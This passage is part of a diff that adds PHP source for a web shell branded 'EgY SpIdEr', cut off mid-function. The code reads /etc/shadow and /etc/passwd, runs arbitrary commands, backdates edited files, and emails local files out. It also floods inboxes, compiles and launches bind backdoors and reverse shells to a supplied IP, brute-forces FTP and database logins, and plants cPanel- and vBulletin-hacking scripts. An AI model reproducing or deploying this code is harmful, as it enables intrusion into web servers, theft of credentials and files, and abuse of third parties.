+echo " X_FORWARDED_FOR:"; if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){echo "[<font color=red>".$_SERVER['HTTP_X_FORWARDED_FOR']."</font>]";}else{echo "[<font color=green><b>NONE</b></font>]";} +echo " CLIENT_IP: ";if(isset($_SERVER['HTTP_CLIENT_IP'])){echo "[<font color=red>".$_SERVER['HTTP_CLIENT_IP']."</font>]";}else{echo "[<font color=green><b>NONE</b></font>]";} +echo " Server IP: [<font color=blue>".gethostbyname($_SERVER["HTTP_HOST"])."</font>]"; + +echo "<br>"; + +echo ws(2)."PHP Version: <b>".@phpversion()."</b>"; +$curl_on = @function_exists('curl_version'); +echo ws(2); +echo "cURL: <b>".(($curl_on)?("<font color=red>ON</font>"):("<font color=green>OFF</font>")); +echo "</b>".ws(2); +echo "MySQL: <b>"; +$mysql_on = @function_exists('mysql_connect'); +if($mysql_on){ +echo "<font color=red>ON</font>"; } else { echo "<font color=green>OFF</font>"; } +echo "</b>".ws(2); +echo "MSSQL: <b>"; +$mssql_on = @function_exists('mssql_connect'); +if($mssql_on){echo "<font color=red>ON</font>";}else{echo "<font color=green>OFF</font>";} +echo "</b>".ws(2); +echo "PostgreSQL: <b>"; +$pg_on = @function_exists('pg_connect'); +if($pg_on){echo "<font color=red>ON</font>";}else{echo "<font color=green>OFF</font>";} +echo "</b>".ws(2); +echo "Oracle: <b>"; +$ora_on = @function_exists('ocilogon'); +if($ora_on){echo "<font color=red>ON</font>";}else{echo "<font color=green>OFF</font>";} +echo "</b>".ws(2); +echo "MySQLi: <b>"; +$mysqli_on = @function_exists('mysqli_connect'); +if($mysqli_on){echo "<font color=red>ON</font>";}else{echo "<font color=green>OFF</font>";} +echo "</b>".ws(2); +echo "MSQL: <b>"; +$msql_on = @function_exists('msql_connect'); +if($msql_on){echo "<font color=red>ON</font>";}else{echo "<font color=green>OFF</font>";} +echo "</b>".ws(2); +echo "SQLite: <b>"; +$sqlite_on = @function_exists('sqlite_open'); +if($sqlite_on){echo "<font color=red>ON</font>";}else{echo "<font color=green>OFF</font>";} +echo "</b><br>".ws(2); + +echo "Safe_Mode: <b>"; +echo (($safe_mode)?("<font color=red>ON</font>"):("<font color=green>OFF</font>")); +echo "</b>".ws(2); +echo "Open_Basedir: <b>"; +if($open_basedir) { if (''==($df=@ini_get('open_basedir'))) {echo "<font color=red>ini_get disable!</font></b>";}else {echo "<font color=red>$df</font></b>";};} +else {echo "<font color=green>NONE</font></b>";} +echo ws(2)."Safe_Exec_Dir: <b>"; +if(@function_exists('ini_get')) { if (''==($df=@ini_get('safe_mode_exec_dir'))) {echo "<font color=red>NONE</font></b>";}else {echo "<font color=green>$df</font></b>";};} +else {echo "<font color=red>ini_get disable!</font></b>";} +echo ws(2)."Safe_Gid: <b>"; +if(@function_exists('ini_get')) { if (@ini_get('safe_mode_gid')) {echo "<font color=green>ON</font></b>";}else {echo "<font color=red>OFF</font></b>";};} +else {echo "<font color=red>ini_get disable!</font></b>";} +echo ws(2)."Safe_Include_Dir: <b>"; +if(@function_exists('ini_get')) { if (''==($df=@ini_get('safe_mode_include_dir'))) {echo "<font color=red>NONE</font></b>";}else {echo "<font color=green>$df</font></b>";};} +else {echo "<font color=red>ini_get disable!</font></b>";} +echo ws(2)."Sql.safe_mode: <b>"; +if(@function_exists('ini_get')) { if (@ini_get('sql.safe_mode')) {echo "<font color=red>ON</font></b>";}else {echo "<font color=green>OFF</font></b>";};} +else {echo "<font color=red>ini_get disable!</font></b>";} + +echo "<br>".ws(2); +echo "Disable Functions : <b>";$df='ini_get disable!'; +if((@function_exists('ini_get')) && (''==($df=@ini_get('disable_functions')))){echo "<font color=green>NONE</font></b>";}else{echo "<font color=red>$df</font></b>";} + +if(@function_exists('diskfreespace')){$free = @diskfreespace($dir);} +elseif(@function_exists('disk_free_space')){$free = @disk_free_space($dir);}else{$free = 'Unknown';} +if (!$free) {$free = 0;} +$all = @disk_total_space($dir); +if (!$all) {$all = 0;} +echo "<br>".ws(2)."Free Space : <b>".view_size($free)."</b> Total Space: <b>".view_size($all)."</b>"; + + +if($ust_u){echo "<br>".ws(2).$lang[$language.'_text137'].": <font color=blue>".$ust_u."</font>";}; + +if($ust_d){echo "<br>".ws(2).$lang[$language.'_text138'].": <font color=red>".$ust_d."</font>";}; + +if($downloader){echo "<br>".ws(2).$lang[$language.'_text142'].": <font color=blue>".$downloader."</font>";}; + + +echo "<br>".ws(2)."</b>"; +echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?' title=\"".$lang[$language.'_text160']."\"><b>Home</b></a> ".$rb; +echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?egy' title=\"".$lang[$language.'_text159']."\"><b>About EgY SpIdEr</b></a> ".$rb; +echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?news' title=\"".$lang[$language.'_text152']."\"><b>News</b></a> ".$rb; +echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?logout=1' title=\"".$lang[$language.'_text153']."\"><b>Logout</b></a> ".$rb; +echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?tools&act=feedback' title=\"".$lang[$language.'_text180']."\"><b>Feedback & Contact Me </b></a> ".$rb; +echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?tools&dlink=qindx' title=\"".$lang[$language.'_text154']."\"><b>Quick index </b></a> ".$rb; +echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?tools&act=massbrowsersploit' title=\"".$lang[$language.'_text155']."\"><b>Mass Code Injection</b></a> ".$rb; +echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?tools&dlink=showsrc' title=\"".$lang[$language.'_text156']."\"><b>File source </b></a> ".$rb; +echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?tools&dlink=zone' title=\"".$lang[$language.'_text157']."\"><b>Zone-h</b></a> ".$rb; +echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?tools&act=encoder' title=\"".$lang[$language.'_text158']."\"><b>Hash Tools</b></a> ".$rb; +echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?1' title=\"".$lang[$language.'_text46']."\"><b>PhpInfo</b></a> ".$rb; +echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?2' title=\"".$lang[$language.'_text47']."\"><b>Php.Ini</b></a> ".$rb; +echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?3' title=\"".$lang[$language.'_text50']."\"><b>Cpu</b></a> ".$rb; +if(!$unix) { + echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?5' title=\"".$lang[$language.'_text50']."\"><b>SystemInfo</b></a> ".$rb; +}else{ + echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?6' title=\"View syslog.conf\"><b>Syslog</b></a> ".$rb; + echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?7' title=\"View resolv\"><b>Resolv</b></a> ".$rb; + echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?8' title=\"View hosts\"><b>Hosts</b></a> ".$rb; + echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?9' title=\"View shadow\"><b>Shadow</b></a> ".$rb; + echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?10' title=\"".$lang[$language.'_text95']."\"><b>Passwd</b></a> ".$rb; +} +echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?11' title=\"".$lang[$language.'_text48']."\"><b>Tmp</b></a> ".$rb; +echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?12' title=\"".$lang[$language.'_text49']."\"><b>Delete</b></a> ".$rb; + +if($unix && !$safe_mode) +{ + echo "<br>".ws(2)."</b>"; + echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?13' title=\"View procinfo\"><b>Procinfo</b></a> ".$rb; + echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?14' title=\"View proc version\"><b>Version</b></a> ".$rb; + echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?15' title=\"View mem free\"><b>Free</b></a> ".$rb; + echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?16' title=\"View dmesg\"><b>Dmesg</b></a> ".$rb; + echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?17' title=\"View vmstat\"><b>Vmstat</b></a> ".$rb; + echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?18' title=\"View lspci\"><b>lspci</b></a> ".$rb; + echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?19' title=\"View lsdev\"><b>lsdev</b></a> ".$rb; + echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?20' title=\"View interrupts\"><b>Interrupts</b></a> ".$rb; + echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?21' title=\"View realise1\"><b>Realise1</b></a> ".$rb; + echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?22' title=\"View realise2\"><b>Realise2</b></a> ".$rb; + echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?23' title=\"View lsattr -va\"><b>lsattr</b></a> ".$rb; + + echo "<br>".ws(2)."</b>"; + echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?24' title=\"View w\"><b>W</b></a> ".$rb; + echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?25' title=\"View who\"><b>Who</b></a> ".$rb; + echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?26' title=\"View uptime\"><b>Uptime</b></a> ".$rb; + echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?27' title=\"View last -n 10\"><b>Last</b></a> ".$rb; + echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?28' title=\"View ps -aux\"><b>Ps Aux</b></a> ".$rb; + echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?29' title=\"View service\"><b>Service</b></a> ".$rb; + echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?30' title=\"View ifconfig\"><b>Ifconfig</b></a> ".$rb; + echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?31' title=\"View netstat -a\"><b>Netstat</b></a> ".$rb; + echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?32' title=\"View fstab\"><b>Fstab</b></a> ".$rb; + echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?33' title=\"View fdisk -l\"><b>Fdisk</b></a> ".$rb; + echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?34' title=\"View df -h\"><b>df -h</b></a> ".$rb; +} + +echo '</font></td></tr><table> +<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000> +<tr><td align=right width=100>'; +echo $font; + +if($unix){ +echo '<font color=blue><b>uname -a :'.ws(1).'<br>sysctl :'.ws(1).'<br>$OSTYPE :'.ws(1).'<br>Server :'.ws(1).'<br>id :'.ws(1).'<br>pwd :'.ws(1).'</b></font><br>'; +echo "</td><td>"; +echo "<font face=Verdana size=-2 color=red><b>"; +echo((!empty($uname))?(ws(3).@substr($uname,0,120)."<br>"):(ws(3).@substr(@php_uname(),0,120)."<br>")); +echo ws(3).ex('echo $OSTYPE')."<br>"; +echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>"; +if(!empty($id)) { echo ws(3).$id."<br>"; } +else if(@function_exists('posix_geteuid') && @function_exists('posix_getegid') && @function_exists('posix_getgrgid') && @function_exists('posix_getpwuid')) + { + $euserinfo = @posix_getpwuid(@posix_geteuid()); + $egroupinfo = @posix_getgrgid(@posix_getegid()); + echo ws(3).'uid='.$euserinfo['uid'].' ( '.$euserinfo['name'].' ) gid='.$egroupinfo['gid'].' ( '.$egroupinfo['name'].' )<br>'; + } +else echo ws(3)."user=".@get_current_user()." uid=".@getmyuid()." gid=".@getmygid()."<br>"; +echo ws(3).$dir; +echo ws(3).'( '.perms(@fileperms($dir)).' )'; +echo "</b></font>"; +} +else +{ +echo '<font color=blue><b>OS :'.ws(1).'<br>Server :'.ws(1).'<br>User :'.ws(1).'<br>pwd :'.ws(1).'</b></font><br>'; +echo "</td><td>"; +echo "<font face=Verdana size=-2 color=red><b>"; +echo ws(3).@substr(@php_uname(),0,120)."<br>"; +echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>"; +echo ws(3).@getenv("USERNAME")."<br>"; +echo ws(3).$dir; +echo "<br></font>"; +} +echo "</font>"; +echo "</td></tr></table>"; + + +if(!empty($_POST['cmd']) && $_POST['cmd']=="mail") + { + $res = mail($_POST['to'],$_POST['subj'],$_POST['text'],"From: ".$_POST['from']."\r\n"); + err(6+$res); + $_POST['cmd']=""; + } +if(!empty($_POST['cmd']) && $_POST['cmd']=="mail_file" && !empty($_POST['loc_file'])) + { + if($file=moreread($_POST['loc_file'])){ $filedump = $file; } + else if ($file=readzlib($_POST['loc_file'])) { $filedump = $file; } else { err(1,$_POST['loc_file']); $_POST['cmd']=""; } + if(!empty($_POST['cmd'])) + { + $filename = @basename($_POST['loc_file']); + $content_encoding=$mime_type=''; + compress($filename,$filedump,$_POST['compress']); + $attach = array( + "name"=>$filename, + "type"=>$mime_type, + "content"=>$filedump + ); + if(empty($_POST['subj'])) { $_POST['subj'] = 'file from egy spider shell'; } + if(empty($_POST['from'])) { $_POST['from'] = 'egy_spider@hotmail.com'; } + $res = mailattach($_POST['to'],$_POST['from'],$_POST['subj'],$attach); + err(6+$res); + $_POST['cmd']=""; + } + } +if(!empty($_POST['cmd']) && $_POST['cmd']=="mail_bomber" && !empty($_POST['mail_flood']) && !empty($_POST['mail_size'])) + { + for($h=1;$h<=$_POST['mail_flood'];$h++){ + $res = mail($_POST['to'],$_POST['subj'],$_POST['text'].str_repeat(" ", 1024*$_POST['mail_size']),"From: ".$_POST['from']."\r\n"); + } + err(6+$res); + $_POST['cmd']=""; + } +if(!empty($_POST['cmd']) && $_POST['cmd'] == "find_text") +{ +$_POST['cmd'] = 'find '.$_POST['s_dir'].' -name \''.$_POST['s_mask'].'\' | xargs grep -E \''.$_POST['s_text'].'\''; +} +if(!empty($_POST['cmd']) && $_POST['cmd']=="ch_") + { + switch($_POST['what']) + { + case 'own': + @chown($_POST['param1'],$_POST['param2']); + break; + case 'grp': + @chgrp($_POST['param1'],$_POST['param2']); + break; + case 'mod': + @chmod($_POST['param1'],intval($_POST['param2'], 8)); + break; + } + $_POST['cmd']=""; + } +if(!empty($_POST['cmd']) && $_POST['cmd']=="mk") + { + switch($_POST['what']) + { + case 'file': + if($_POST['action'] == "create") + { + if(@file_exists($_POST['mk_name']) || !morewrite($_POST['mk_name'],'your text here')) { err(2,$_POST['mk_name']); $_POST['cmd']=""; } + else { + $_POST['e_name'] = $_POST['mk_name']; + $_POST['cmd']="edit_file"; + echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#333333><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text61']."</b></font></div></td></tr></table>"; + } + } + else if($_POST['action'] == "delete") + { + if(@unlink($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#333333><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text63']."</b></font></div></td></tr></table>"; + $_POST['cmd']=""; + } + break; + case 'dir': + if($_POST['action'] == "create"){ + if(@mkdir($_POST['mk_name'])) + { + $_POST['cmd']=""; + echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#333333><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text62']."</b></font></div></td></tr></table>"; + } + else { err(2,$_POST['mk_name']); $_POST['cmd']=""; } + } + else if($_POST['action'] == "delete"){ + if(@rmdir($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#333333><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text64']."</b></font></div></td></tr></table>"; + $_POST['cmd']=""; + } + break; + } + } + + +if(!empty($_POST['cmd']) && $_POST['cmd']=="touch") +{ +if(!$_POST['file_name_r']) + { + $datar = $_POST['day']." ".$_POST['month']." ".$_POST['year']." ".$_POST['chasi']." hours ".$_POST['minutes']." minutes ".$_POST['second']." seconds"; + $datar = @strtotime($datar); + @touch($_POST['file_name'],$datar,$datar);} +else{ + @touch($_POST['file_name'],@filemtime($_POST['file_name_r']),@filemtime($_POST['file_name_r'])); +} +$_POST['cmd']=""; +} + + +if(!empty($_POST['cmd']) && $_POST['cmd']=="edit_file" && !empty($_POST['e_name'])) + { + if(@is_dir($_POST['e_name'])){ err(1,$_POST['e_name']); $_POST['cmd']=""; } + elseif($file=moreread($_POST['e_name'])) { $filedump = $file; if(!@is_writable($_POST['e_name'])) { $only_read = 1; }; } + elseif($file=readzlib($_POST['e_name'])) { $filedump = $file; $only_read = 1; } + elseif(@file_exists($_POST['e_name'])) {$filedump = 'NONE'; if(!@is_writable($_POST['e_name'])) { $only_read = 1; };} + else { err(1,$_POST['e_name']); $_POST['cmd']=""; } + if(!empty($_POST['cmd'])) + { + echo $table_up3; + echo $font; + echo "<form name=save_file method=post>"; + echo ws(3)."<b>".$_POST['e_name']."</b>"; + echo "<div align=center><textarea name=e_text cols=121 rows=24>"; + echo @htmlspecialchars($filedump); + echo "</textarea>"; + echo "<input type=hidden name=e_name value='".$_POST['e_name']."'>"; + echo "<input type=hidden name=dir value='".$dir."'>"; + echo "<input type=hidden name=cmd value=save_file>"; + echo (!empty($only_read)?("<br><br>".$lang[$language.'_text44']):("<br><br><input type=submit name=submit value=\" ".$lang[$language.'_butt10']." \">")); + echo "</div>"; + echo "</font>"; + echo "</form>"; + echo "</td></tr></table>"; + exit(); + } + } +if(!empty($_POST['cmd']) && $_POST['cmd']=="save_file") + { + $mtime = @filemtime($_POST['e_name']); + if(!@is_writable($_POST['e_name'])) { err(0,$_POST['e_name']); } + else { + if($unix) $_POST['e_text']=@str_replace("\r\n","\n",$_POST['e_text']); + morewrite($_POST['e_name'],$_POST['e_text']); + $_POST['cmd']=""; + echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#333333><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text45']."</b></font></div></td></tr></table>"; + } + @touch($_POST['e_name'],$mtime,$mtime); + } + + +if (!empty($_POST['proxy_port'])&&($_POST['use']=="Perl")) +{ + cf($tempdir.'prxpl',$prx_pl); + $p2=which("perl"); + $blah = ex($p2.' '.$tempdir.'prxpl '.$_POST['proxy_port'].' &'); + @unlink($tempdir.'prxpl'); + $_POST['cmd']="ps -aux | grep prxpl"; +} +if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="C")) +{ + cf($tempdir.'bd.c',$port_bind_bd_c); + $blah = ex('gcc -o '.$tempdir.'bd '.$tempdir.'bd.c'); + @unlink($tempdir.'bd.c'); + $blah = ex($tempdir.'bd '.$_POST['port'].' '.$_POST['bind_pass'].' &'); + @unlink($tempdir.'bd'); + $_POST['cmd']="ps -aux | grep bd"; +} +if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="Perl")) +{ + cf($tempdir.'bdpl',$port_bind_bd_pl); + $p2=which("perl"); + $blah = ex($p2.' '.$tempdir.'bdpl '.$_POST['port'].' &'); + @unlink($tempdir.'bdpl'); + $_POST['cmd']="ps -aux | grep bdpl"; +} +if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="Perl")) +{ + cf($tempdir.'back',$back_connect); + $p2=which("perl"); + $blah = ex($p2.' '.$tempdir.'back '.$_POST['ip'].' '.$_POST['port'].' &'); + @unlink($tempdir.'back'); + $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\""; +} +if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="C")) +{ + cf($tempdir.'back.c',$back_connect_c); + $blah = ex('gcc -o '.$tempdir.'backc '.$tempdir.'back.c'); + @unlink($tempdir.'back.c'); + $blah = ex($tempdir.'backc '.$_POST['ip'].' '.$_POST['port'].' &'); + @unlink($tempdir.'back'); + $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\""; +} +if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="Perl")) +{ + cf($tempdir.'dp',$datapipe_pl); + $p2=which("perl"); + $blah = ex($p2.' '.$tempdir.'dp '.$_POST['local_port'].' '.$_POST['remote_host'].' '.$_POST['remote_port'].' &'); + @unlink($tempdir.'dp'); + $_POST['cmd']="ps -aux | grep dp"; +} +if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="C")) +{ + cf($tempdir.'dpc.c',$datapipe_c); + $blah = ex('gcc -o '.$tempdir.'dpc '.$tempdir.'dpc.c'); + @unlink($tempdir.'dpc.c'); + $blah = ex($tempdir.'dpc '.$_POST['local_port'].' '.$_POST['remote_port'].' '.$_POST['remote_host'].' &'); + @unlink($tempdir.'dpc'); + $_POST['cmd']="ps -aux | grep dpc"; +} + +if (!empty($_POST['alias']) && isset($aliases[$_POST['alias']])) { $_POST['cmd'] = $aliases[$_POST['alias']]; } + +for($upl=0;$upl<=16;$upl++) +{ + if(!empty($HTTP_POST_FILES['userfile'.$upl]['name'])){ + if(!empty($_POST['new_name']) && ($upl==0)) { $nfn = $_POST['new_name']; } + else { $nfn = $HTTP_POST_FILES['userfile'.$upl]['name']; } + @move_uploaded_file($HTTP_POST_FILES['userfile'.$upl]['tmp_name'],$_POST['dir']."/".$nfn) + or print("<font color=red face=Fixedsys><div align=center>Error uploading file ".$HTTP_POST_FILES['userfile'.$upl]['name']."</div></font>"); + } +} +if (!empty($_POST['port1'])) +{ + cf("bds",$port_bind_bd_cs); + $blah = ex("chmod 777 bds"); + $blah = ex("./bds ".$_POST['port1']." &"); + $_POST['cmd']="echo \"Now script install backdoor connect to port "; + }else{ +cf("/tmp/bds",$port_bind_bd_cs); + $blah = ex("chmod 777 bds"); + } +if (!empty($_POST['php_ini1'])) +{ + cf("php.ini",$egy_ini); + $_POST['cmd']=" now make incloude for file ini.php and add ss and your shell"; + } + + if (!empty($_POST['htacces'])) +{ + cf(".htaccess",$htacces); + $_POST['cmd']="now .htaccess has been add"; + } + if (!empty($_POST['egy_res'])) +{ + cf(".ini.php",$egy_res); + $_POST['cmd']="now .htaccess has been add"; + } + if (!empty($_POST['egy_ini'])) +{ + cf("ini.php",$egy_ini); + + + $_POST['cmd']=" http://target.com/ini.php?egy=http://shell.txt? add ss ini.php now make incloude for file ini.php and add egy and your shell"; + } + + if (!empty($_POST['egy_cp'])) +{ + cf("pass_cpanel.php",$egy_cp); + $_POST['cmd']="cpanel add"; + } + + if (!empty($_POST['egy_vb'])) +{ + cf("vb_hacker.php",$egy_vb); + $_POST['cmd']="Added Following Files .htaccess & ini.php & vb_hacker.php & pass_cpanel.php "; + } + +if (!empty($_POST['alias']) && isset($aliases[$_POST['alias']])) { $_POST['cmd'] = $aliases[$_POST['alias']]; } + +for($upl=0;$upl<=16;$upl++) +{ + +} + +if (!empty($_POST['with']) && !empty($_POST['rem_file']) && !empty($_POST['loc_file'])) +{ + switch($_POST['with']) + { + case 'fopen': + $datafile = @implode("", @file($_POST['rem_file'])); + if($datafile) + { + if(!morewrite($_POST['loc_file'],$datafile)){ err(0);}; + } + + $_POST['cmd'] = ''; + break; + case 'wget': + $_POST['cmd'] = which('wget')." \"".$_POST['rem_file']."\" -O \"".$_POST['loc_file']."\""; + break; + case 'fetch': + $_POST['cmd'] = which('fetch')." -p \"".$_POST['rem_file']."\" -o \"".$_POST['loc_file']."\""; + break; + case 'lynx': + $_POST['cmd'] = which('lynx')." -source \"".$_POST['rem_file']."\" > \"".$_POST['loc_file']."\""; + break; + case 'links': + $_POST['cmd'] = which('links')." -source \"".$_POST['rem_file']."\" > \"".$_POST['loc_file']."\""; + break; + case 'GET': + $_POST['cmd'] = which('GET')." \"".$_POST['rem_file']."\" > \"".$_POST['loc_file']."\""; + break; + case 'curl': + $_POST['cmd'] = which('curl')." \"".$_POST['rem_file']."\" -o \"".$_POST['loc_file']."\""; + break; + } +} +if(!empty($_POST['cmd']) && (($_POST['cmd']=="ftp_file_up") || ($_POST['cmd']=="ftp_file_down"))) + { + list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']); + if(empty($ftp_port)) { $ftp_port = 21; } + $connection = @ftp_connect ($ftp_server,$ftp_port,10); + if(!$connection) { err(3); } + else + { + if(!@ftp_login($connection,$_POST['ftp_login'],$_POST['ftp_password'])) { err(4); } + else + { + if($_POST['cmd']=="ftp_file_down") { if(chop($_POST['loc_file'])==$dir) { $_POST['loc_file']=$dir.((!$unix)?('\\'):('/')).basename($_POST['ftp_file']); } @ftp_get($connection,$_POST['loc_file'],$_POST['ftp_file'],$_POST['mode']);} + if($_POST['cmd']=="ftp_file_up") { @ftp_put($connection,$_POST['ftp_file'],$_POST['loc_file'],$_POST['mode']);} + } + } + @ftp_close($connection); + $_POST['cmd'] = ""; + } + +if(!empty($_POST['cmd']) && (($_POST['cmd']=="ftp_brute") || ($_POST['cmd']=="db_brute"))) + { + if($_POST['cmd']=="ftp_brute"){ + list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']); + if(empty($ftp_port)) { $ftp_port = 21; } + $connection = @ftp_connect ($ftp_server,$ftp_port,10); + }else if($_POST['cmd']=="db_brute"){ + $connection = 1; + } + if(!$connection) { err(3); $_POST['cmd'] = ""; } + else if(($_POST['brute_method']=='passwd') && (!$users=get_users('/etc/passwd'))){ echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#333333><font color=red face=Verdana size=-2><div align=center><b>".$lang[$language.'_text96']."</b></div></font></td></tr></table>"; $_POST['cmd'] = ""; } + else if(($_POST['brute_method']=='dic') && (!$users=get_users($_POST['dictionary']))){ echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#333333><font color=red face=Verdana size=-2><div align=center><b>Can\'t get password list</b></div></font></td></tr></table>"; $_POST['cmd'] = ""; } + if($_POST['cmd']=="ftp_brute"){@ftp_close($connection);} + } + +echo $table_up3; +if (empty($_POST['cmd']) && !$safe_mode) { $_POST['cmd']=(!$unix)?("dir"):("ls -lia"); } +else if(empty($_POST['cmd']) && $safe_mode){ $_POST['cmd']="safe_dir"; } +echo $font.$lang[$language.'_text1'].": <b>".$_POST['cmd']."</b></font></td></tr><tr><td><b><div align=center><textarea name=report cols=121 rows=15>"; +{ + switch($_POST['cmd']) + { + case 'safe_dir': + + if (@function_exists('scandir') && ($d=@scandir($dir)) && !isset($_POST['glob']) && !isset($_POST['realpath'])) + { + foreach ($d as $file) + { + if ($file=="." || $file=="..") continue; + @clearstatcache(); + @list ($dev, $inode, $inodep, $nlink, $uid, $gid, $inodev, $size, $atime, $mtime, $ctime, $bsize) = stat($file); + if(!$unix){ + echo date("d.m.Y H:i",$mtime); + if(@is_dir($file)) echo " <DIR> "; else printf("% 7s ",$size); + } + else{ + if(@function_exists('posix_getpwuid') && @function_exists('posix_getgrgid')){ + $owner = @posix_getpwuid($uid); + $grgid = @posix_getgrgid($gid); + }else{$owner['name']=$grgid['name']='';} + echo $inode." "; + echo perms(@fileperms($file)); + @printf("% 4d % 9s % 9s %7s ",$nlink,$owner['name'],$grgid['name'],$size); + echo @date("d.m.Y H:i ",$mtime); + } + echo "$file\n"; + } + } + + elseif (@function_exists('dir') && ($d=@dir($dir)) && !isset($_POST['glob']) && !isset($_POST['realpath'])) + { + while (false!==($file=$d->read())) + { + if ($file=="." || $file=="..") continue; + @clearstatcache(); + @list ($dev, $inode, $inodep, $nlink, $uid, $gid, $inodev, $size, $atime, $mtime, $ctime, $bsize) = stat($file); + if(!$unix){ + echo date("d.m.Y H:i",$mtime); + if(@is_dir($file)) echo " <DIR> "; else printf("% 7s ",$size); + } + else{ + if(@function_exists('posix_getpwuid') && @function_exists('posix_getgrgid')){ + $owner = @posix_getpwuid($uid); + $grgid = @posix_getgrgid($gid); + }else{$owner['name']=$grgid['name']='';} + echo $inode." "; + echo perms(@fileperms($file)); + @printf("% 4d % 9s % 9s %7s ",$nlink,$owner['name'],$grgid['name'],$size); + echo @date("d.m.Y H:i ",$mtime); + } + echo "$file\n"; + } + $d->close(); + } + + elseif (@function_exists('opendir') && @function_exists('readdir') && ($d=@opendir($dir)) && !isset($_POST['glob']) && !isset($_POST['realpath'])) + { + while (false!==($file=@readdir($d))) + { + if ($file=="." || $file=="..") continue; + @clearstatcache(); + @list ($dev, $inode, $inodep, $nlink, $uid, $gid, $inodev, $size, $atime, $mtime, $ctime, $bsize) = stat($file); + if(!$unix){ + echo date("d.m.Y H:i",$mtime); + if(@is_dir($file)) echo " <DIR> "; else printf("% 7s ",$size); + } + else{ + if(@function_exists('posix_getpwuid') && @function_exists('posix_getgrgid')){ + $owner = @posix_getpwuid($uid); + $grgid = @posix_getgrgid($gid); + }else{$owner['name']=$grgid['name']='';} + echo $inode." "; + echo perms(@fileperms($file)); + @printf("% 4d % 9s % 9s %7s ",$nlink,$owner['name'],$grgid['name'],$size); + echo @date("d.m.Y H:i ",$mtime); + } + echo "$file\n"; + } + @closedir($d); + } + + elseif(@function_exists('glob') && (isset($_POST['glob']) || !isset($_POST['realpath']))) + { + echo "PHP glob() listing directory Safe_mode bypass Exploit\r\n\r\n"; + function eh($errno, $errstr, $errfile, $errline) + { + global $D, $c, $i; + preg_match("/SAFE\ MODE\ Restriction\ in\ effect\..*whose\ uid\ is(.*)is\ not\ allowed\ to\ access(.*)owned by uid(.*)/", $errstr, $o); + if($o){ $D[$c] = $o[2]; $c++;} + } + 